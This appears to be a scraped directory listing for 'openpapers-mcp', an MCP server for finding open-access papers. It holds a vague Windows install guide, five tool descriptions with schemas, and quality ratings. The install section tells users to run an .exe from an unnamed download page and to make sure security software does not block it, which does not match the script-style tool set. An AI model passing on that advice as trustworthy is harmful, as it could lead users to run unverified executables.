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πŸ”¬ openpapers-mcp - Find and access scientific papers easily

Download OpenPapers

This tool helps researchers find scientific papers across major databases. It connects your desktop software to sources like OpenAlex, CrossRef, and Unpaywall. You search for topics, read abstracts, and download legal open-access PDFs directly to your computer.

βš™οΈ System Requirements

  • Windows 10 or Windows 11

  • At least 200 MB of free storage space

  • A stable internet connection

  • Claude Desktop application installed

Related MCP server: Paper Search MCP

πŸ“₯ How to Install

Follow these steps to set up the software on your computer.

  1. Visit the official download page.

  2. Look for the "Releases" section on the right side of the page.

  3. Click the latest version link.

  4. Select the file ending in .exe to start the download.

  5. Save the file to your "Downloads" folder.

  6. Open your "Downloads" folder and double-click the file to start the installation.

  7. Follow the prompts on your screen to complete the setup process.

πŸ› οΈ Setting Up With Claude Desktop

Once you install the software, you must connect it to your AI assistant.

  1. Open the Claude Desktop application.

  2. Locate the settings menu. You can usually find this by clicking your profile icon or the gear icon in the corner.

  3. Find the area labeled "MCP" or "Model Context Protocol."

  4. Add a new configuration entry.

  5. Point the configuration to the path where you installed the openpapers-mcp file.

  6. Restart the Claude Desktop application so the changes take effect.

πŸ” How to Use the Tool

After you complete the setup, you can access the tool inside your chat window with Claude.

  1. Open Claude Desktop.

  2. Type a sentence about the research topic you need. For example, "Find papers about climate change in the Arctic."

  3. The software will search the connected databases.

  4. It will return a list of relevant papers.

  5. You can ask for an abstract if you want a summary.

  6. To get the full text, type "Download PDF" followed by the paper title or ID provided in the search results.

  7. The software saves the PDF to your default downloads folder.

πŸ“ Frequently Asked Questions

Does this tool cost money? No, this software uses open databases. It only provides access to legal, open-access research papers.

Will this work on a Mac? These instructions describe the Windows process. The tool is designed for use within the Claude Desktop environment on Windows systems.

What if I cannot find a paper? Sometimes a paper exists, but it lacks a legal open-access version. The tool will inform you if no downloadable PDF exists.

How do I update the software? Check the download page periodically for new versions. Run the new installer to update your current files.

Is my data private? The software works locally on your machine. Your search history stays within your own environment unless you share your chat logs with the AI provider.

πŸ›‘οΈ Troubleshooting

If the software fails to connect, check your internet connection first. Ensure that you correctly entered the file path in your Claude Desktop settings. If the connection remains broken, remove the entry in the MCP settings and add it again to ensure the path contains no typos. You may also check that your security software does not block the application from running.

Keywords: academic-research, claude-desktop, crossref, mcp, mcp-server, model-context-protocol, open-access, openalex, scientific-papers, unpaywall

Available Tools

5 tools
download_pdfA

Download a PDF to the local PDF directory. Use find_oa_pdf first to obtain a URL. The URL is validated for SSRF safety (private/loopback/metadata IPs are refused) and the bytes are verified to start with the %PDF- magic marker. Downloads are capped at PDF_MAX_BYTES (default 100 MB) and written atomically β€” a failed download never leaves a partial file at the final path.

ParametersJSON Schema
NameRequiredDescriptionDefault
doiNoDOI used to derive the filename (optional).
urlYesDirect PDF URL (typically best_oa_location.url_for_pdf from find_oa_pdf).
filenameNoExplicit filename override (sanitized; will be .pdf-suffixed).

Output Schema

ParametersJSON Schema
NameRequiredDescription
doiNo
urlYes
local_pathYes
content_typeNo
bytes_writtenYes

TDQS

A4.7/5.0
Behavior5/5

Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?

With no annotations provided, the description bears the full burden of disclosure. It comprehensively details behavioral traits: SSRF safety validation (refusing private/loopback/metadata IPs), magic marker verification (%PDF-), size cap (PDF_MAX_BYTES, default 100 MB), and atomic write semantics. This fully informs the agent of safety and correctness guarantees.

Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.

Conciseness5/5

Is the description appropriately sized, front-loaded, and free of redundancy?

The description is four sentences long, front-loaded with the core purpose, and contains zero superfluous words. Every sentence adds critical information about workflow, validation, or guarantees. It is optimally sized for quick consumption.

Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.

Completeness5/5

Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?

Given the tool has an output schema (reducing need to describe return values) and relatively low complexity (3 parameters, 1 required), the description covers all essential aspects: prerequisite step, safety checks, size limit, and atomicity. It leaves no major behavioral gaps for a download tool.

Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.

Parameters3/5

Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?

Schema description coverage is 100%, so the baseline is 3. The description does not add new parameter-level meaning beyond the schema, focusing instead on URL processing behavior. It does not elaborate on how `doi` or `filename` are used beyond the schema descriptions, so no uplift is warranted.

Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.

Purpose5/5

Does the description clearly state what the tool does and how it differs from similar tools?

The description clearly states the action ('Download a PDF to the local PDF directory'), identifies the resource type (PDF), and distinguishes from siblings by explicitly referencing the prerequisite tool `find_oa_pdf`. The verb-resource combination is specific and unambiguous.

Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.

Usage Guidelines5/5

Does the description explain when to use this tool, when not to, or what alternatives exist?

The description provides explicit when-to-use guidance by instructing practitioners to first use `find_oa_pdf` to obtain a URL. This frames the tool as the second step in a two-step workflow, making its context clear. No alternatives are needed as the sibling tools cover different use cases.

Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.

find_oa_pdfA

Find a legal Open Access PDF for a DOI via Unpaywall. Returns the OA status, the best OA location (with direct PDF URL if available), and a list of all OA locations (repository vs publisher, version, license).

ParametersJSON Schema
NameRequiredDescriptionDefault
doiYesDOI of the paper (bare, URL, or 'doi:' prefix accepted).

Output Schema

ParametersJSON Schema
NameRequiredDescription
doiNo
genreNo
is_oaYes
pdf_urlNo
oa_statusNo
journal_nameNo
oa_locationsNo
journal_is_oaNo
best_oa_locationNo
journal_is_in_doajNo

TDQS

A3.8/5.0
Behavior3/5

Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?

Without annotations, the description must disclose behaviors. It states the output includes OA status, best OA location, and all OA locations, but lacks details on error handling, network requirements, or rate limits. Some transparency but not comprehensive.

Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.

Conciseness5/5

Is the description appropriately sized, front-loaded, and free of redundancy?

Two sentences front-load the main action and output details with no redundant information. Every sentence adds value, and the structure is efficient for an AI agent to parse.

Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.

Completeness4/5

Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?

Given the tool's simplicity (one required parameter, no enums, output schema present), the description covers key outputs. However, it omits potential edge cases (e.g., DOI not found) and prerequisites (e.g., internet access), leaving minor gaps.

Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.

Parameters3/5

Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?

The single parameter 'doi' is already well-described in the input schema (100% coverage). The description adds no additional parameter semantics beyond what the schema provides, so baseline score of 3 is appropriate.

Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.

Purpose5/5

Does the description clearly state what the tool does and how it differs from similar tools?

The description clearly states the tool finds a legal Open Access PDF for a DOI via Unpaywall, specifying the verb (find), resource (DOI), and distinct purpose from sibling tools like search_papers or download_pdf.

Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.

Usage Guidelines3/5

Does the description explain when to use this tool, when not to, or what alternatives exist?

The description implies usage for locating legally accessible PDFs but does not explicitly guide when to use this tool over alternatives like download_pdf or get_paper. No when-not-to-use or prerequisites mentioned.

Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.

get_paperA

Fetch full metadata for a single paper by DOI, including the abstract (reconstructed from OpenAlex), authors with ORCID/affiliations, concepts, and references (enriched from CrossRef).

ParametersJSON Schema
NameRequiredDescriptionDefault
doiYesDOI as bare string ('10.1038/nature12373'), URL form, or 'doi:...' β€” all accepted.

Output Schema

ParametersJSON Schema
NameRequiredDescription
doiNo
is_oaNo
titleYes
venueNo
authorsNo
fundersNo
licenseNo
pdf_urlNo
abstractNo
conceptsNo
keywordsNo
languageNo
oa_statusNo
publisherNo
referencesNo
venue_typeNo
openalex_idNo
cited_by_countNo
landing_page_urlNo
publication_dateNo
publication_yearNo
references_countNo

TDQS

A3.9/5.0
Behavior3/5

Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?

No annotations are provided, so the description must disclose behavioral traits. It describes output content (abstract reconstructed from OpenAlex, references from CrossRef) but omits side effects, error handling, authentication needs, or rate limits. Adds value on response content but lacks broader behavioral context.

Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.

Conciseness4/5

Is the description appropriately sized, front-loaded, and free of redundancy?

The description is a single sentence that effectively front-loads the action and resource. It lists included items without excess words, though splitting into two sentences could improve readability.

Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.

Completeness4/5

Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?

Given the tool has one parameter and an output schema (not shown), the description explains what the response includes (abstract, authors, concepts, references). It does not address error conditions or preconditions, but for a fetch-by-key tool, this is mostly complete.

Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.

Parameters3/5

Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?

The input schema covers 100% of parameters and already describes the DOI format acceptance. The tool description merely mentions 'by DOI' without adding new meaning beyond the schema. Baseline of 3 is appropriate.

Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.

Purpose5/5

Does the description clearly state what the tool does and how it differs from similar tools?

The description clearly states the tool's function: 'Fetch full metadata for a single paper by DOI'. It lists specific components included (abstract, authors, concepts, references), distinguishing it from siblings like search_papers or download_pdf.

Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.

Usage Guidelines4/5

Does the description explain when to use this tool, when not to, or what alternatives exist?

The description implies use when a specific DOI is known and full metadata is needed, but does not explicitly compare with sibling tools or state when not to use it. Usage context is clear but lacks exclusions.

Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.

research_topicA

Convenience workflow: search OpenAlex for query, then for each top result fetch OA status (Unpaywall). Returns a compact overview suitable for quickly assessing a research area. Abstracts are taken from the search response itself β€” no extra OpenAlex calls.

ParametersJSON Schema
NameRequiredDescriptionDefault
queryYesResearch topic or free-text query.
max_resultsNoNumber of top results to enrich (1..10).

Output Schema

ParametersJSON Schema
NameRequiredDescription
queryYes
papersNo
total_resultsYes
oa_available_countNo

TDQS

A4/5.0
Behavior4/5

Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?

With no annotations, the description transparently reveals it searches OpenAlex, uses Unpaywall for OA status, and extracts abstracts from search responses. It does not mention read-only nature, error handling, or rate limits, but the workflow is clearly non-destructive and well-outlined.

Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.

Conciseness5/5

Is the description appropriately sized, front-loaded, and free of redundancy?

The description is two sentences, front-loaded with the core workflow, and every sentence adds value. No unnecessary words or repetition.

Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.

Completeness4/5

Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?

The description covers the main workflow, data sources, and abstraction sourcing. With an output schema present, return values are documented elsewhere. Missing details about potential errors or authentication are minor given the tool's simplicity.

Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.

Parameters3/5

Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?

Schema coverage is 100%, so parameters are well-documented in the schema. The description adds context by linking query to OpenAlex search and mentioning top results, but does not provide deeper semantics beyond what the schema already offers.

Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.

Purpose5/5

Does the description clearly state what the tool does and how it differs from similar tools?

The description clearly states the tool is a convenience workflow that searches OpenAlex for a query, fetches OA status for top results, and returns a compact overview. It distinguishes from sibling tools like search_papers and get_paper by combining search and OA enrichment in a single step.

Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.

Usage Guidelines3/5

Does the description explain when to use this tool, when not to, or what alternatives exist?

The description implies the tool is for quickly assessing a research area but does not explicitly state when to use it versus alternatives like search_papers or get_paper. No exclusions or conditional guidance is provided.

Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.

search_papersA

Search academic papers by relevance via OpenAlex. Returns a compact list with DOI, title, authors, year, venue, citation count, OA status, and top concepts. Use year_from/year_to to constrain the publication year.

ParametersJSON Schema
NameRequiredDescriptionDefault
queryYesFree-text search query, e.g. 'transformer attention mechanism'.
year_toNoInclusive upper publication year bound.
year_fromNoInclusive lower publication year bound.
num_resultsNoMax number of results (1..50).

Output Schema

ParametersJSON Schema
NameRequiredDescription
resultYes

TDQS

A3.8/5.0
Behavior3/5

Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?

No annotations exist, so the description must convey behavioral traits. It states that results are returned as a 'compact list' with specific fields (DOI, title, authors, year, venue, citation count, OA status, top concepts). This gives a clear picture of output. However, it does not disclose the ordering ('by relevance' is vague), pagination limits, data freshness, or whether it requires authentication. The description is adequate but not fully transparent.

Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.

Conciseness5/5

Is the description appropriately sized, front-loaded, and free of redundancy?

Two sentences: the first defines purpose and output, the second gives a usage hint. Every word is valuable. No redundancy or filler. The critical information is front-loaded.

Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.

Completeness4/5

Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?

Given the output schema exists (so return values are documented), the description adds enough context: it lists the return fields briefly. It covers the main parameters. It could mention that results are sorted by relevance or that the search uses OpenAlex API, but it's nearly complete for a simple search tool. A slight gap: no mention of how to interpret the fields (e.g., 'top concepts' format).

Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.

Parameters3/5

Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?

Schema description coverage is 100% (all four parameters have descriptions in the schema). The description adds only one extra hint: 'Use `year_from`/`year_to` to constrain the publication year.' Since the schema already explains each parameter, the description provides marginal additional meaning. The baseline for high coverage is 3, and the description meets that.

Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.

Purpose5/5

Does the description clearly state what the tool does and how it differs from similar tools?

States exactly what the tool does: 'Search academic papers by relevance via OpenAlex.' The verb 'Search' and resource 'academic papers' are specific. The mention of OpenAlex distinguishes it from potential other paper search tools. The list of return fields further clarifies scope. Among siblings, it clearly differs from get_paper (single paper retrieval) and find_oa_pdf (PDF link).

Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.

Usage Guidelines3/5

Does the description explain when to use this tool, when not to, or what alternatives exist?

Provides one specific usage hint: 'Use `year_from`/`year_to` to constrain the publication year.' This is helpful but doesn't offer guidance on when to choose this tool over its siblings (e.g., when to search vs. get a specific paper). No explicit when-not-to-use or alternatives are mentioned, so the guidance is minimal.

Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.

Tool Schema Changelog

Recent tool additions, removals, and schema changes observed during successful MCP inspections. Dates show when Glama detected each change.

  1. 5 tool updatesv0.1.0
    • First observeddownload_pdf
    • First observedfind_oa_pdf
    • First observedget_paper
    • First observedresearch_topic
    • First observedsearch_papers

TDQS

A4.2/5.0
Disambiguation5/5

Each tool has a clear, distinct purpose: searching, fetching metadata, locating OA PDFs, downloading, and a combined workflow. No overlap between tools.

Naming Consistency5/5

All tools use consistent verb_noun snake_case naming (e.g., search_papers, get_paper). 'research_topic' fits the pattern as a verb-like workflow.

Tool Count5/5

5 tools is appropriate for a focused academic papers server, covering essential operations without being too sparse or bloated.

Completeness4/5

Covers the core workflow (search, metadata, OA location, download) well. Minor gaps include lack of batch download or local library management, but the set is comprehensive for its purpose.

Maintenance

ActivityMaintained
ResponsivenessNo issues

Resources

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